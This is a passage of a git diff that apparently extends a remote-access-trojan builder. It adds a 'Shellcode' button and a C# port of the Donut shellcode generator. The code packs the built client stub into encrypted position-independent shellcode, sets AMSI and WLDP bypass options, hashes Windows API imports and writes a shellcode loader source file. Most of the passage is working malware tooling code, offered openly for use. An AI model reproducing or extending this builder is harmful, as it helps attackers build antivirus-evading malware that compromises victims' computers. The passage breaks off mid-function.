this.chkAntiProcess.Text = "Block taskmgr"; this.chkAntiProcess.UseVisualStyleBackColor = true; // + // btnShellcode + // + this.btnShellcode.Location = new System.Drawing.Point(429, 349); + this.btnShellcode.Name = "btnShellcode"; + this.btnShellcode.Size = new System.Drawing.Size(121, 45); + this.btnShellcode.TabIndex = 113; + this.btnShellcode.Text = "Shellcode"; + this.btnShellcode.UseVisualStyleBackColor = true; + this.btnShellcode.Click += new System.EventHandler(this.btnShellcode_Click); + // // FormBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(709, 403); + this.Controls.Add(this.btnShellcode); this.Controls.Add(this.chkAntiProcess); this.Controls.Add(this.chkAnti); this.Controls.Add(this.txtGroup); @@ -743,5 +755,6 @@ namespace Server.Forms private System.Windows.Forms.ListBox listBoxPort; private System.Windows.Forms.CheckBox chkAnti; private System.Windows.Forms.CheckBox chkAntiProcess; + private System.Windows.Forms.Button btnShellcode; } } diff --git a/Server/Forms/FormBuilder.cs b/Server/Forms/FormBuilder.cs index 68b8782..455797f 100644 --- a/Server/Forms/FormBuilder.cs +++ b/Server/Forms/FormBuilder.cs @@ -14,6 +14,7 @@ using dnlib.DotNet.Emit; using System.Threading.Tasks; using System.Diagnostics; using Toolbelt.Drawing; +using Server.Helper.Donut; namespace Server.Forms { @@ -203,6 +204,7 @@ namespace Server.Forms saveFileDialog1.FileName = "Client"; if (saveFileDialog1.ShowDialog() == DialogResult.OK) { + btnShellcode.Enabled = false; btnBuild.Enabled = false; WriteSettings(asmDef, saveFileDialog1.FileName); asmDef.Write(saveFileDialog1.FileName); @@ -498,5 +500,56 @@ namespace Server.Forms } } } + + private void btnShellcode_Click(object sender, EventArgs e) + { + if (!chkPaste_bin.Checked && listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return; + if (checkBox1.Checked) + { + if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return; + if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe"; + } + if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = getRandomCharacters(); + if (chkPaste_bin.Checked && string.IsNullOrWhiteSpace(txtPaste_bin.Text)) return; + ModuleDefMD asmDef = null; + try + { + using (asmDef = ModuleDefMD.Load(@"Stub/Client.exe")) + { + string Temppath = Path.Combine(Application.StartupPath, @"Stub\tempClient.exe"); ; + if (File.Exists(Temppath)) + { + File.Delete(Temppath); + } + + File.Copy(Path.Combine(Application.StartupPath, @"Stub\Client.exe"), Temppath); + btnShellcode.Enabled = false; + btnBuild.Enabled = false; + WriteSettings(asmDef, Temppath); + asmDef.Write(Temppath); + asmDef.Dispose(); + if (btnAssembly.Checked) + { + WriteAssembly(Temppath); + } + if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text)) + { + IconInjector.InjectIcon(Temppath, txtIcon.Text); + } + Donut.Creat(Temppath); + File.Delete(Temppath); + MessageBox.Show("Done!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); + SaveSettings(); + this.Close(); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); + asmDef?.Dispose(); + btnBuild.Enabled = true; + + } + } } } \ No newline at end of file diff --git a/Server/Helper/Donut/Constants.cs b/Server/Helper/Donut/Constants.cs new file mode 100644 index 0000000..515efd8 --- /dev/null +++ b/Server/Helper/Donut/Constants.cs @@ -0,0 +1,93 @@ +using System; +using Server.Helper.Donut.Payloads; + +public class Constants +{ + public const int CIPHER_BLK_LEN = 128 / 8; + public const int DONUT_KEY_LEN = 128 / 8; + public const int DONUT_BLK_LEN = 128 / 8; + public const int DONUT_ERROR_SUCCESS = 0; + public const int DONUT_ERROR_FILE_NOT_FOUND = 1; + public const int DONUT_ERROR_FILE_EMPTY = 2; + public const int DONUT_ERROR_FILE_ACCESS = 3; + public const int DONUT_ERROR_FILE_INVALID = 4; + public const int DONUT_ERROR_NET_PARAMS = 5; + public const int DONUT_ERROR_NO_MEMORY = 6; + public const int DONUT_ERROR_INVALID_ARCH = 7; + public const int DONUT_ERROR_INVALID_URL = 8; + public const int DONUT_ERROR_URL_LENGTH = 9; + public const int DONUT_ERROR_INVALID_PARAMETER= 10; + public const int DONUT_ERROR_RANDOM = 11; + public const int DONUT_ERROR_DLL_FUNCTION = 12; + public const int DONUT_ERROR_ARCH_MISMATCH = 13; + public const int DONUT_ERROR_DLL_PARAM = 14; + public const int DONUT_ERROR_BYPASS_INVALID = 15; + public const int DONUT_ERROR_NORELOC = 16; + + // target architecture; + public const int DONUT_ARCH_ANY = -1; // just for vbs,js and xsl files; + public const int DONUT_ARCH_X86 = 1; // x86; + public const int DONUT_ARCH_X64 = 2; // AMD64; + public const int DONUT_ARCH_X84 = 3; // AMD64 + x86; + + // module type; + public const int DONUT_MODULE_NET_DLL = 1; // .NET DLL. Requires class and method; + public const int DONUT_MODULE_NET_EXE = 2; // .NET EXE. Executes Main if no class and method provided; + public const int DONUT_MODULE_DLL = 3; // Unmanaged DLL, function is optional; + public const int DONUT_MODULE_EXE = 4; // Unmanaged EXE; + public const int DONUT_MODULE_VBS = 5; // VBScript; + public const int DONUT_MODULE_JS = 6; // JavaScript or JScript; + public const int DONUT_MODULE_XSL = 7; // XSL with JavaScript/JScript or VBscript embedded; + + // instance type; + public const int DONUT_INSTANCE_PIC = 1; // Self-contained; + public const int DONUT_INSTANCE_URL = 2; // Download from remote server; + + // AMSI/WLDP options; + public const int DONUT_BYPASS_SKIP = 1; // Disables bypassing AMSI/WDLP; + public const int DONUT_BYPASS_ABORT = 2; // If bypassing AMSI/WLDP fails, the loader stops running; + public const int DONUT_BYPASS_CONTINUE = 3; // If bypassing AMSI/WLDP fails, the loader continues running; + + public const int DONUT_MAX_PARAM = 8; // maximum number of parameters passed to method; + public const int DONUT_MAX_NAME = 256; // maximum length of string for domain, class, method and parameter names; + public const int DONUT_MAX_DLL = 8; // maximum number of DLL supported by instance; + public const int DONUT_MAX_URL = 256; + public const int DONUT_MAX_MODNAME = 8; + public const int DONUT_SIG_LEN = 8; // 64-bit string to verify decryption ok; + public const int DONUT_VER_LEN = 32; + public const int DONUT_DOMAIN_LEN = 8; + + public const string DONUT_RUNTIME_NET2 = "v2.0.50727"; + public const string DONUT_RUNTIME_NET4 = "v4.0.30319"; + + public const string NTDLL_DLL = "ntdll.dll"; + public const string KERNEL32_DLL = "kernel32.dll"; + public const string ADVAPI32_DLL = "advapi32.dll"; + public const string CRYPT32_DLL = "crypt32.dll"; + public const string MSCOREE_DLL = "mscoree.dll"; + public const string OLE32_DLL = "ole32.dll"; + public const string OLEAUT32_DLL = "oleaut32.dll"; + public const string WININET_DLL = "wininet.dll"; + public const string COMBASE_DLL = "combase.dll"; + public const string USER32_DLL = "user32.dll"; + public const string SHLWAPI_DLL = "shlwapi.dll"; + + // required to load .NET assemblies + public static Guid xCLSID_CorRuntimeHost = new Guid(0xcb2f6723, 0xab3a, 0x11d2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e); + public static Guid xIID_ICorRuntimeHost = new Guid(0xcb2f6722, 0xab3a, 0x11d2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e); + public static Guid xCLSID_CLRMetaHost = new Guid(0x9280188d, 0xe8e, 0x4867, 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde); + public static Guid xIID_ICLRMetaHost = new Guid(0xD332DB9E, 0xB9B3, 0x4125, 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16); + public static Guid xIID_ICLRRuntimeInfo = new Guid(0xBD39D1D2, 0xBA2F, 0x486a, 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91); + public static Guid xIID_AppDomain = new Guid(0x05F696DC, 0x2B29, 0x3663, 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13); + + + // Maru stuff + public static int MARU_MAX_STR = 64; + public static int MARU_BLK_LEN = 16; + public static int MARU_HASH_LEN = 8; + public static int MARU_IV_LEN = MARU_HASH_LEN; + + // Payload shorthand + public static byte[] PAYLOAD_EXE_x86 = payload_exe_x86.PAYLOAD_EXE_X86; + public static byte[] PAYLOAD_EXE_x64 = payload_exe_x64.PAYLOAD_EXE_X64; +} \ No newline at end of file diff --git a/Server/Helper/Donut/Donut.cs b/Server/Helper/Donut/Donut.cs new file mode 100644 index 0000000..3c65d9e --- /dev/null +++ b/Server/Helper/Donut/Donut.cs @@ -0,0 +1,30 @@ +using System; +using System.Runtime.InteropServices; +using System.Windows.Forms; +using Server.Helper.Donut.Structs; + +namespace Server.Helper.Donut +{ + public class Donut + { + public static void Creat(string filepath) + { + DSConfig config = new Helper().InitStruct("DSConfig"); + string savepath = ""; + using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) + { + saveFileDialog1.Filter = ".bin (*.bin)|*.bin"; + saveFileDialog1.InitialDirectory = Application.StartupPath; + saveFileDialog1.OverwritePrompt = false; + saveFileDialog1.FileName = "Client"; + if (saveFileDialog1.ShowDialog() == DialogResult.OK) + { + savepath = saveFileDialog1.FileName; + } + } + Helper.ParseArguments(filepath, savepath, ref config); + Generator.Donut_Create(ref config); + Marshal.FreeHGlobal(config.pic); + } + } +} diff --git a/Server/Helper/Donut/Generator.cs b/Server/Helper/Donut/Generator.cs new file mode 100644 index 0000000..584a7dd --- /dev/null +++ b/Server/Helper/Donut/Generator.cs @@ -0,0 +1,315 @@ +using System; +using System.IO; +using System.IO.MemoryMappedFiles; +using System.Runtime.InteropServices; + +using Server.Helper.Donut.Structs; + +namespace Server.Helper.Donut +{ + public class Generator + { + public static int Donut_Create(ref DSConfig config) + { + int ret; + DSFileInfo fi = new DSFileInfo + { + ver = new char[Constants.DONUT_VER_LEN] + }; + + // Parse config and payload + ret = Helper.ParseConfig(ref config, ref fi); + if (ret != Constants.DONUT_ERROR_SUCCESS) + { + return ret; + } + + // Create the module + ret = CreateModule(ref config, ref fi); + if (ret != Constants.DONUT_ERROR_SUCCESS) + { + return ret; + } + + // Create the instance + ret = CreateInstance(ref config); + if (ret != Constants.DONUT_ERROR_SUCCESS) + { + return ret; + } + + // Generates output + ret = GenerateOutput(ref config); + if (ret != Constants.DONUT_ERROR_SUCCESS) + { + return ret; + } + + // Compiles loader + //ret = CompileLoader(); + //if (ret != Constants.DONUT_ERROR_SUCCESS) + //{ + // return ret; + //} + + return Constants.DONUT_ERROR_SUCCESS; + + } + + public static int CreateModule(ref DSConfig config, ref DSFileInfo fi) + { + string[] param; + Console.WriteLine("\nPayload options:"); + + // Init Module struct + DSModule mod = new Helper().InitStruct("DSModule"); + mod.type = fi.type; + + // DotNet Assembly + if (mod.type == Constants.DONUT_MODULE_NET_DLL || mod.type == Constants.DONUT_MODULE_NET_EXE) + { + // If no AppDomain, generate one + if (config.domain[0] == 0) + { + Helper.Copy(config.domain, Helper.RandomString(8)); + } + Console.WriteLine($"\tDomain:\t{Helper.String(config.domain)}"); + Helper.Unicode(mod.domain, Helper.String(config.domain)); + + if (mod.type == Constants.DONUT_MODULE_NET_DLL) + { + Console.WriteLine($"\tClass:\t{Helper.String(config.cls)}"); + Helper.Unicode(mod.cls, Helper.String(config.cls)); + Console.WriteLine($"\tMethod:\t{Helper.String(config.method)}"); + Helper.Unicode(mod.method, Helper.String(config.method)); + } + + // If no runtime specified, use the version from assembly + if (config.runtime[0] == 0) + { + config.runtime = fi.ver; + } + Console.WriteLine($"\tRuntime:{Helper.String(config.runtime)}"); + Helper.Unicode(mod.runtime, Helper.String(config.runtime)); + } + + if (config.param != null) + { + // Assign params + param = Helper.String(config.param).Split(new char[] { ',', ';' }); + for (int cnt = 0; cnt < param.Length; cnt++) + { + Helper.Unicode(mod.p[cnt].param, param[cnt]); + mod.param_cnt++; + } + + // If no params, assign cnt = 0 + if (param[0] == "") + { + mod.param_cnt = 0; + } + } + + // Assign Module Length + mod.len = Convert.ToUInt32(new FileInfo(Helper.String(config.file)).Length); + + // Update Module and Length in Config + config.mod = mod; + config.mod_len = Convert.ToUInt32(Marshal.SizeOf(typeof(DSModule))) + mod.len; + return Constants.DONUT_ERROR_SUCCESS; + } + public unsafe static int CreateInstance(ref DSConfig config) + { + byte[] bytes; + UInt32 inst_len = Convert.ToUInt32(Marshal.SizeOf(typeof(DSInstance))); + + // Initialize Instance struct + DSInstance inst = new Helper().InitStruct("DSInstance"); + + // Add module size to instance len + if (config.inst_type == Constants.DONUT_INSTANCE_PIC) + { + inst_len += Convert.ToUInt32(Marshal.SizeOf(typeof(DSModule)) + 32) + Convert.ToUInt32(config.mod_len); + } + + // Generate instance key and counter + bytes = Helper.RandomBytes(32); + for (var i = 0; i < bytes.Length; i++) + { + if (i < 16) + { + inst.key.ctr[i] = bytes[i]; + } + else + { + inst.key.mk[i - 16] = bytes[i]; + } + } + + // Generate module key and counter + bytes = Helper.RandomBytes(32); + for (var i = 0; i < bytes.Length; i++) + { + if (i < 16) + { + inst.mod_key.ctr[i] = bytes[i]; + } + else + { + inst.mod_key.mk[i - 16] = bytes[i]; + } + } + + // Create Verifier string + Helper.Copy(inst.sig, Helper.RandomString(8)); + + // Create IV + inst.iv = BitConverter.ToUInt64(Helper.RandomBytes(8), 0); + + // Generate DLL and API hashes + Helper.APIImports(ref inst); + + // Assign GUIDs and other vals + if (config.mod_type == Constants.DONUT_MODULE_NET_DLL || config.mod_type == Constants.DONUT_MODULE_NET_EXE) + { + inst.xIID_AppDomain = Constants.xIID_AppDomain; + inst.xIID_ICLRMetaHost = Constants.xIID_ICLRMetaHost; + inst.xCLSID_CLRMetaHost = Constants.xCLSID_CLRMetaHost; + inst.xIID_ICLRRuntimeInfo = Constants.xIID_ICLRRuntimeInfo; + inst.xIID_ICorRuntimeHost = Constants.xIID_ICorRuntimeHost; + inst.xCLSID_CorRuntimeHost = Constants.xCLSID_CorRuntimeHost; + } + + Helper.Copy(inst.amsi.s, "AMSI"); + Helper.Copy(inst.amsiInit, "AmsiInitialize"); + Helper.Copy(inst.amsiScanBuf, "AmsiScanBuffer"); + Helper.Copy(inst.amsiScanStr, "AmsiScanString"); + Helper.Copy(inst.clr, "CLR"); + Helper.Copy(inst.wldp, "WLDP"); + Helper.Copy(inst.wldpQuery, "WldpQueryDynamicCodeTrust"); + Helper.Copy(inst.wldpIsApproved,"WldpIsClassInApprovedList"); + + // Assign inst type + inst.type = config.inst_type; + + // Update struct lengths + inst.mod_len = config.mod_len; + inst.len = inst_len; + config.inst = inst; + config.inst_len = inst_len; + + // Generate MAC + inst.mac = Helper.Maru(Helper.String(inst.sig), ref inst); + + // Copy Instance to memory + var instptr = Marshal.AllocHGlobal(Convert.ToInt32(config.inst_len)); + Marshal.StructureToPtr(inst, instptr, false); + + // Copy Module to memory + var modptr = Marshal.AllocHGlobal(Convert.ToInt32(config.mod_len)); + Marshal.StructureToPtr(config.mod, modptr, false); + + // Calculate offsets + var encoffset = Marshal.OffsetOf(typeof(DSInstance), "api_cnt").ToInt32(); + var encptr = IntPtr.Add(instptr, encoffset); + var modoffset = Marshal.OffsetOf(typeof(DSInstance), "module").ToInt32(); + var moddata = IntPtr.Add(instptr, modoffset); + var fileoffset = Marshal.OffsetOf(typeof(DSModule), "data").ToInt32(); + + // Copy Module to Instance + Buffer.MemoryCopy(modptr.ToPointer(), moddata.ToPointer(), Marshal.SizeOf(typeof(DSModule)), Marshal.SizeOf(typeof(DSModule))); + + + // if PIC, copy payload to instance + if (inst.type == Constants.DONUT_INSTANCE_PIC) + { + // Copy payload file to end of module + + byte[] payload = File.ReadAllBytes(Helper.String(config.file)); + IntPtr unmanagedPointer = Marshal.AllocHGlobal(payload.Length); + Marshal.Copy(payload, 0, unmanagedPointer, payload.Length); + + Buffer.MemoryCopy(unmanagedPointer.ToPointer(), IntPtr.Add(moddata, fileoffset).ToPointer(), config.mod.len, config.mod.len); + Marshal.FreeHGlobal(unmanagedPointer); + } + + // Release module + Marshal.FreeHGlobal(modptr); + + // Encrypt instance + Helper.Encrypt(inst.key.mk, inst.key.ctr, encptr, Convert.ToUInt32(inst.len - encoffset)); + + // Generate final shellcode + int ret = Shellcode(ref config, instptr); + if (ret != Constants.DONUT_ERROR_SUCCESS) + { + return ret; + } + + return Constants.DONUT_ERROR_SUCCESS; + } + public unsafe static int Shellcode(ref DSConfig config, IntPtr instptr) + { + // Generate PIC length + if (config.arch == Constants.DONUT_ARCH_X86) + { + config.pic_len = Convert.ToUInt32(Constants.PAYLOAD_EXE_x86.Length + Convert.ToInt32(config.inst_len) + 32); + config.pic = Marshal.AllocHGlobal(Marshal.SizeOf(config.pic_len)); + + } + else if (config.arch == Constants.DONUT_ARCH_X64) + { + config.pic_len = Convert.ToUInt32(Constants.PAYLOAD_EXE_x64.Length + Convert.ToInt32(config.inst_len) + 32); + config.pic = Marshal.AllocHGlobal(Marshal.SizeOf(config.pic_len)); + + } + else if (config.arch == Constants.DONUT_ARCH_X84) + { + config.pic_len = Convert.ToUInt32(Constants.PAYLOAD_EXE_x86.Length + Constants.PAYLOAD_EXE_x64.Length + Convert.ToInt32(config.inst_len) + 32); + config.pic = Marshal.AllocHGlobal(Convert.ToInt32(config.pic_len)); + } + + // Start shellcode and copy final Instance + Helper.PUT_BYTE(0xE8, ref config); + Helper.PUT_WORD(BitConverter.GetBytes(config.inst_len), ref config); + Helper.PUT_INST(instptr, Convert.ToInt32(config.inst_len), ref config); + Helper.PUT_BYTE(0x59, ref config); + + // Finish shellcode based on arch + if (config.arch == Constants.DONUT_ARCH_X86) + { + Helper.PUT_BYTE(0x5A, ref config); + Helper.PUT_BYTE(0x51, ref config); + Helper.PUT_BYTE(0x52, ref config); + Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x86, Constants.PAYLOAD_EXE_x86.Length, ref config); + } + else if (config.arch == Constants.DONUT_ARCH_X64) + { + Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x64, Constants.PAYLOAD_EXE_x64.Length, ref config); + } + else if (config.arch == Constants.DONUT_ARCH_X84) + { + Helper.PUT_BYTE(0x31, ref config); + Helper.PUT_BYTE(0xC0, ref config); + Helper.PUT_BYTE(0x48, ref config); + Helper.PUT_BYTE(0x0F, ref config); + Helper.PUT_BYTE(0x88, ref config); + Helper.PUT_WORD(BitConverter.GetBytes(Constants.PAYLOAD_EXE_x64.Length), ref config); + Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x64, Constants.PAYLOAD_EXE_x64.Length, ref config); + Helper.PUT_BYTE(0x5A, ref config); + Helper.PUT_BYTE(0x51, ref config); + Helper.PUT_BYTE(0x52, ref config); + Helper.PUT_BYTES(Constants.PAYLOAD_EXE_x86, Constants.PAYLOAD_EXE_x86.Length, ref config); + } + return Constants.DONUT_ERROR_SUCCESS; + } + + public static int GenerateOutput(ref DSConfig config) + { + // Write Output + Helper.WriteOutput(ref config); + + return Constants.DONUT_ERROR_SUCCESS; + } + } +} diff --git a/Server/Helper/Donut/Helper.cs b/Server/Helper/Donut/Helper.cs new file mode 100644 index 0000000..94b89ce --- /dev/null +++ b/Server/Helper/Donut/Helper.cs @@ -0,0 +1,614 @@ +using System; +using System.IO; +using System.Linq; +using System.Text; +using System.Collections.Generic; +using System.Security.Cryptography; +using System.Runtime.InteropServices; +using Server.Helper.Donut.Structs; + +namespace Server.Helper.Donut +{ + public class Helper + { + [StructLayout(LayoutKind.Explicit)] + public unsafe struct M + { + [FieldOffset(0)] public fixed byte b[16]; + [FieldOffset(0)] public fixed UInt32 w[2]; + } + + [StructLayout(LayoutKind.Explicit)] + public unsafe struct X + { + [FieldOffset(0)] public fixed UInt32 w[2]; + [FieldOffset(0)] public fixed UInt64 q[2]; + } + + // This parses if using commandline + public static void ParseArguments(string filepath, string savepath, ref DSConfig config) + { + char[] buffer = filepath.ToCharArray(); + Array.Copy(buffer, 0, config.file, 0, buffer.Length); + + config.arch = 3; + config.bypass = 3; + + char[] payloadbuffer = savepath.ToCharArray(); + Array.Copy(payloadbuffer, 0, config.outfile, 0, payloadbuffer.Length); + + } + public static int ParseConfig(ref DSConfig config, ref DSFileInfo fi) + { + string file = new string(config.file).Replace("\0", ""); + // Checks if file exists + if (File.Exists(file) == false) + { + return Constants.DONUT_ERROR_INVALID_PARAMETER; + } + + // Validate URL + if (config.inst_type == Constants.DONUT_INSTANCE_URL) + { + // Make sure it's a validate URL (check this don't know exactly how it's checking) + if (Uri.IsWellFormedUriString(String(config.url), UriKind.Absolute) == false) + { + return Constants.DONUT_ERROR_INVALID_URL; + } + + // If URL doesn't have trailing slash, add one + //if (config.url(config.url.Length - 1) != "/") + //{ + // config.url += "/"; + //} + } + + // Validate Arch + if (config.arch != Constants.DONUT_ARCH_ANY && + config.arch != Constants.DONUT_ARCH_X86 && + config.arch != Constants.DONUT_ARCH_X84 && + config.arch != Constants.DONUT_ARCH_X64) + { + return Constants.DONUT_ERROR_INVALID_ARCH; + } + + // Validate AMSI/WDLP Bypass Option + if (config.bypass != Constants.DONUT_BYPASS_SKIP && + config.bypass != Constants.DONUT_BYPASS_ABORT && + config.bypass != Constants.DONUT_BYPASS_CONTINUE) + { + return Constants.DONUT_ERROR_BYPASS_INVALID; + } + + // Get File Info + var ret = ParseInputFile(file, ref fi); + if (ret != Constants.DONUT_ERROR_SUCCESS) + { + return ret; + } + + // Set Module Type + config.mod_type = fi.type; + if (config.mod_type == Constants.DONUT_MODULE_DLL || config.mod_type == Constants.DONUT_MODULE_EXE) + { + // Check for Arch mismatch + if ((config.arch == Constants.DONUT_ARCH_X86 && fi.arch == Constants.DONUT_ARCH_X64) || + (config.arch == Constants.DONUT_ARCH_X64 && fi.arch == Constants.DONUT_ARCH_X86)) + { + return Constants.DONUT_ERROR_ARCH_MISMATCH; + } + + // Check existence of DLL function specified + if (config.mod_type == Constants.DONUT_MODULE_DLL && config.method != null) + { + try + { + var exported = new PeNet.PeFile(file).ExportedFunctions; + bool found = false; + foreach (var func in exported) + { + if (func.Name == String(config.method)) + { + found = true; + } + } + if (found == false) + { + return Constants.DONUT_ERROR_DLL_FUNCTION; + } + } + catch + { + return Constants.DONUT_ERROR_DLL_FUNCTION; + } + } + + // If unmanaged DLL with params, need function + if (config.mod_type == Constants.DONUT_MODULE_DLL && config.param != null) + { + if (config.method == null) + { + return Constants.DONUT_ERROR_DLL_PARAM; + } + } + } + + // If .NET DLL make sure Method and Class provided + if (config.mod_type == Constants.DONUT_MODULE_NET_DLL) + { + if (config.cls == null || config.method == null) + { + return Constants.DONUT_ERROR_NET_PARAMS; + } + } + return Constants.DONUT_ERROR_SUCCESS; + } + public static int ParseInputFile(string file, ref DSFileInfo fi) + { + PeNet.PeFile PE; + + fi.type = Constants.DONUT_MODULE_EXE; + fi.arch = Constants.DONUT_ARCH_ANY; + + // Do PE parsing for .dll and .exe + if (fi.type == Constants.DONUT_MODULE_DLL || fi.type == Constants.DONUT_MODULE_EXE) + { + try + { + PE = new PeNet.PeFile(file); + if (PE.ImageDosHeader == null) + { + return Constants.DONUT_ERROR_FILE_INVALID; + } + if (PE.ImageNtHeaders == null) + { + return Constants.DONUT_ERROR_FILE_INVALID; + } + } + catch + { + return Constants.DONUT_ERROR_FILE_INVALID; + } + + // Check and Reset Arch + if (PE.Is32Bit == true) + { + fi.arch = Constants.DONUT_ARCH_X86; + } + else + { + fi.arch = Constants.DONUT_ARCH_X64; + } + + // Check .NET and Reset Type + if (PE.HasValidComDescriptor == true) + { + if (PE.IsDLL == true) + { + fi.type = Constants.DONUT_MODULE_NET_DLL; + } + else + { + fi.type = Constants.DONUT_MODULE_NET_EXE; + } + + Copy(fi.ver, PE.MetaDataHdr.Version); + } + else if (PE.ImageRelocationDirectory.Length == 0) + { + //Think this should be ok? + return Constants.DONUT_ERROR_NORELOC; + } + } + return Constants.DONUT_ERROR_SUCCESS; + } + public static void APIImports(ref DSInstance inst) + { + UInt64 dll_hash, final; + inst.api.hash = new UInt64[64]; + Dictionary> apiimports = new Dictionary> + { + { + Constants.KERNEL32_DLL, + new List { + "LoadLibraryA", "GetProcAddress", "GetModuleHandleA", "VirtualAlloc", "VirtualFree", + "VirtualQuery", "VirtualProtect", "Sleep", "MultiByteToWideChar", "GetUserDefaultLCID"} + }, + { + Constants.OLEAUT32_DLL, + new List { + "SafeArrayCreate", "SafeArrayCreateVector", "SafeArrayPutElement", "SafeArrayDestroy", "SafeArrayGetLBound", + "SafeArrayGetUBound", "SysAllocString", "SysFreeString", "LoadTypeLib"} + }, + { + Constants.WININET_DLL, + new List { + "InternetCrackUrlA", "InternetOpenA", "InternetConnectA", "InternetSetOptionA", "InternetReadFile", + "InternetCloseHandle", "HttpOpenRequestA", "HttpSendRequestA", "HttpQueryInfoA"} + }, + { + Constants.MSCOREE_DLL, + new List { + "CorBindToRuntime", "CLRCreateInstance"} + }, + { + Constants.OLE32_DLL, + new List { + "CoInitializeEx", "CoCreateInstance", "CoUninitialize"} + } + }; + + // Generate hashes + for (var l = 0; l < apiimports.Count; l++) + { + for (var i = 0; i < apiimports.ElementAt(l).Value.Count; i++) + { + dll_hash = Maru(apiimports.ElementAt(l).Key, ref inst); + final = Maru(apiimports.ElementAt(l).Value[i], ref inst) ^ dll_hash; + inst.api.hash[inst.api_cnt++] = final; + } + } + + // Initialize substruct + inst.d = new DLL[Constants.DONUT_MAX_DLL]; + for (int i = 0; i < inst.d.Length; i++) + { + inst.d[i] = new DLL + { + dll_name = new char[32] + }; + } + + // Assign hashes + string[] dlls = new string[4] { "ole32.dll", "oleaut32.dll", "wininet.dll", "mscoree.dll" }; + for (int i = 0; i < dlls.Length; i++) + { + char[] dllchar = new char[32]; + Copy(dllchar, dlls[i]); + for (int l = 0; l < dllchar.Length; l++) + { + inst.d[i].dll_name[l] = dllchar[l]; + } + inst.dll_cnt = dlls.Length; + } + } + public dynamic InitStruct(string type) + { + if (type == "DSConfig") + { + var config = new DSConfig + { + arch = Constants.DONUT_ARCH_X84, + bypass = Constants.DONUT_BYPASS_CONTINUE, + inst_type = Constants.DONUT_INSTANCE_PIC, + mod_len = 0, + inst_len = 0, + pic = IntPtr.Zero, + pic_len = 0, + cls = new char[Constants.DONUT_MAX_NAME], + domain = new char[Constants.DONUT_MAX_NAME], + method = new char[Constants.DONUT_MAX_NAME], + modname = new char[Constants.DONUT_MAX_NAME], + file = new char[Constants.DONUT_MAX_NAME], + runtime = new char[Constants.DONUT_MAX_NAME], + url = new char[Constants.DONUT_MAX_NAME], + param = new char[(Constants.DONUT_MAX_PARAM + 1) * Constants.DONUT_MAX_NAME], + outfile = new char[Constants.DONUT_MAX_NAME] + }; + Copy(config.outfile, "payload.bin"); + + return config; + } + else if (type == "DSModule") + { + var mod = new DSModule + { + runtime = new byte[512], + cls = new byte[512], + method = new byte[512], + domain = new byte[512], + sig = new char[256] + }; + mod.p = new P[Constants.DONUT_MAX_PARAM + 1]; + for (int i = 0; i < mod.p.Length; i++) + { + mod.p[i] = new P + { + param = new byte[Constants.DONUT_MAX_NAME * 2] + }; + } + + return mod; + } + else if (type == "DSInstance") + { + var inst = new DSInstance + { + sig = new char[256], + amsiInit = new char[16], + amsiScanBuf = new char[16], + amsiScanStr = new char[16], + clr = new char[8], + wldp = new char[16], + wldpQuery = new char[32], + wldpIsApproved = new char[32], + wscript = new char[16], + wscript_exe = new char[32], + }; + inst.amsi = new AMSI(); + inst.amsi.s = new char[8]; + inst.key.ctr = new byte[16]; + inst.key.mk = new byte[16]; + inst.mod_key.ctr = new byte[16]; + inst.mod_key.mk = new byte[16]; + + return inst; + } + return 0; + } + public static unsafe void WriteOutput(ref DSConfig config) + { + try + { + // Raw bytes to file + FileStream f = new FileStream(Helper.String(config.outfile), FileMode.Create, FileAccess.Write); + UnmanagedMemoryStream fs = new UnmanagedMemoryStream((byte*)config.pic, Convert.ToInt32(config.pic_cnt)); + fs.CopyTo(f); + fs.Close(); + f.Close(); + Console.WriteLine($"\nRaw Payload: {Helper.String(config.outfile)}"); + + // Write B64 version + File.WriteAllText($@"{Helper.String(config.outfile)}.b64", Convert.ToBase64String(File.ReadAllBytes(Helper.String(config.outfile)))); + Console.WriteLine($"B64 Payload: {Helper.String(config.outfile)}.b64\n"); + + // Write loader + string loader = Properties.Resources.ShellcodeLoader.Replace("%shellcode%", Convert.ToBase64String(File.ReadAllBytes(Helper.String(config.outfile)))); + File.WriteAllText($@"{Helper.String(config.outfile)}.loader.cs", loader); + } + catch + { + Console.WriteLine("Failed to write payload to file"); + } + } + public unsafe static UInt64 Maru(string input, ref DSInstance inst) + { + byte[] zeros = new byte[Constants.MARU_BLK_LEN]; + for (var i = 0; i < zeros.Length; i++) { zeros[i] = 0x00; } + var ptr = Marshal.UnsafeAddrOfPinnedArrayElement(zeros, 0); + + byte[] api = Encoding.UTF8.GetBytes(input + '\0'); + UInt64 h = inst.iv; + int len = 0; + int ind = 0; + bool finished = false; + M m = new M(); + + while (finished == false) + { + if (api[len] == 0 || len == Constants.MARU_MAX_STR) + { + Buffer.MemoryCopy(ptr.ToPointer(), m.b + ind, Marshal.SizeOf(typeof(M)), Constants.MARU_BLK_LEN - ind); + m.b[ind] = 0x80; + if (ind >= Constants.MARU_BLK_LEN - 4) + { + h ^= Maru_Crypt(m, h); + Buffer.MemoryCopy(ptr.ToPointer(), m.b, Marshal.SizeOf(typeof(M)), Constants.MARU_BLK_LEN); + } + m.w[(Constants.MARU_BLK_LEN / 4) - 1] = Convert.ToUInt32((len * 8)); + ind = Constants.MARU_BLK_LEN; + finished = 